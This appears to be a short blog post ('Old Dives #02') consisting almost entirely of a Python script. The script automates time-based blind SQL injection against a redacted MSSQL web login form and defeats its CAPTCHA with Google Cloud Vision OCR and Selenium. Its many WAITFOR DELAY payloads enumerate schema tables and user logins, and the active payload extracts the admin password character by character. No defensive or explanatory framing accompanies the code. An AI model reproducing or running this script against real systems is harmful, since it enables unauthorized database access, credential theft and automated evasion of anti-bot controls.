Old Dives #02: SQLi Bypassing Captcha with Google Cloud Vision

#! /usr/bin/python3
 
# Blind sqli
 
import time
import google_cloud_vision
import regex as re
import requests
 
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.common.exceptions import TimeoutException
 
URL = "https://[REDACTED]/"
SLEEP_TIME = 4
 
def get_captcha():
    try:
        captcha_text = google_cloud_vision.getText("img.tmp")[0].replace(" ", "")
    except IndexError:
        captcha_text = "aaaaa"
 
    return captcha_text
 
def download_captcha(driver):
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, 'RadCaptcha1_CaptchaImageUP')))
    with open("img.tmp", "wb") as f:
        f.write(driver.find_element_by_id("RadCaptcha1_CaptchaImageUP").screenshot_as_png)
 
"""
def gen_new_captcha(driver):
    driver.find_element_by_id("RadCaptcha1_CaptchaLinkButton").click()
    download_captcha(driver)
"""
 
def time_based():
    DICT = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "
 
    time.sleep(3)
    download_captcha(driver)
 
    captcha = get_captcha()
    print(f"[DEBUG]First captcha: {captcha}")
 
    guessed = ""
    for j in range(57,57+1): # Cambiar segun longitud de cadena
        found = False
        i = 0
        #while i < 1000 and not found:
        while i < len(DICT) and not found: # Comentar o descomentar uno u otro dependiendo de si se hace fuerza bruta a numeros o letras con el diccionario
            can_continue = False
            while not can_continue: # Si hemos fallado con el captcha hay que volver a intentar con otro
                #payload = f"1';IF(SELECT LEN(CURRENT_USER))={i} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';IF(SELECT ASCII(SUBSTRING(TABLE_NAME,{j},1)) FROM [REDACTED].information_schema.columns WHERE COLUMN_NAME LIKE '%password%')={ord(DICT[i])} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';IF(SELECT COUNT(*) FROM bd_appusers.INFORMATION_SCHEMA.TABLES)={i} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';IF(SELECT COUNT(COLUMN_NAME) FROM [REDACTED].information_schema.columns WHERE TABLE_NAME='USR' AND COLUMN_NAME='login')={i} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';DECLARE @aux int;WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY COLUMN_NAME)) as row,* FROM [REDACTED].information_schema.columns WHERE TABLE_NAME='USR') SELECT @aux=LEN(COLUMN_NAME) FROM data WHERE row=1;IF(SELECT @aux)={i} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';DECLARE @aux int;WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY COLUMN_NAME)) as row,* FROM bd_appusers.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE 'GR_USR_G%I') SELECT @aux=ASCII(SUBSTRING(COLUMN_NAME,{j},1)) FROM data WHERE row=3;IF(SELECT @aux)={ord(DICT[i])} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';DECLARE @aux int;WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY login)) as row,* FROM USR) SELECT @aux=LEN(login) FROM data WHERE row=2;IF(SELECT @aux)={i} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';DECLARE @aux int;WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY login)) as row,* FROM USR) SELECT @aux=ASCII(SUBSTRING(login,{j},1)) FROM data WHERE row=7;IF(SELECT @aux)={ord(DICT[i])} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                #payload = f"1';IF(SELECT LEN(password) FROM USR WHERE login LIKE '03139614E')={i} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                payload = f"1';IF(SELECT ASCII(SUBSTRING(password,{j},1)) FROM USR WHERE login='admin')={ord(DICT[i])} WAITFOR DELAY '00:00:{SLEEP_TIME}'--"
                print(f"[DEBUG]Payload: {payload}")
 
                driver.find_element_by_id("txtLogin").clear()
                driver.find_element_by_id("txtMail").clear()
                driver.find_element_by_id("txtCaptcha").clear()
 
                driver.find_element_by_id("txtLogin").send_keys(payload)
                driver.find_element_by_id("txtMail").send_keys("aaa@aaa.com")
                driver.find_element_by_id("txtCaptcha").send_keys(captcha)
 
                start_time = time.time()
                driver.find_element_by_id("lk_Aceptar").click()
                end_time = time.time()
 
                try:
                    #WebDriverWait(driver, 1).until(EC.presence_of_element_located((By.CLASS_NAME, 'rwCloseButton')))
                    # Si aparecen los cuadros de dialogo de error es que el captcha era correcto, faltaria comprobar si se ha tardado 5 segundos o no
                    driver.find_elements_by_class_name("rwCloseButton")[0].click()
                    can_continue = True
                    driver.find_elements_by_class_name("rwCloseButton")[0].click()
                #except TimeoutException:
                    #pass    
                except IndexError:
                    pass
 
                elapsed = end_time - start_time
                if elapsed >= SLEEP_TIME: # Guessed correctly
                    guessed += DICT[i]
                    #guessed = i # Cambiar segun numeros o usando dict
                    found = True
                    print(f"[DEBUG]Guessed: {guessed}")
 
                download_captcha(driver)
                captcha = get_captcha()
            i += 1
    
    return guessed
if __name__ == "__main__":
    profile = webdriver.FirefoxProfile()
    profile.accept_untrusted_certs = True
 
    driver = webdriver.Firefox(firefox_profile=profile)
    #driver.set_page_load_timeout(15)
    driver.get("https://[REDACTED]/default.aspx")
    driver.find_element_by_id("SignIn1_ImgPwd").click()
 
    alert = driver.switch_to_alert()
    alert.accept()
 
    # Hay que deshabilitar los warnings de SSL porque al pasarlo por el Burp dan mucho la lata
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
    print(time_based())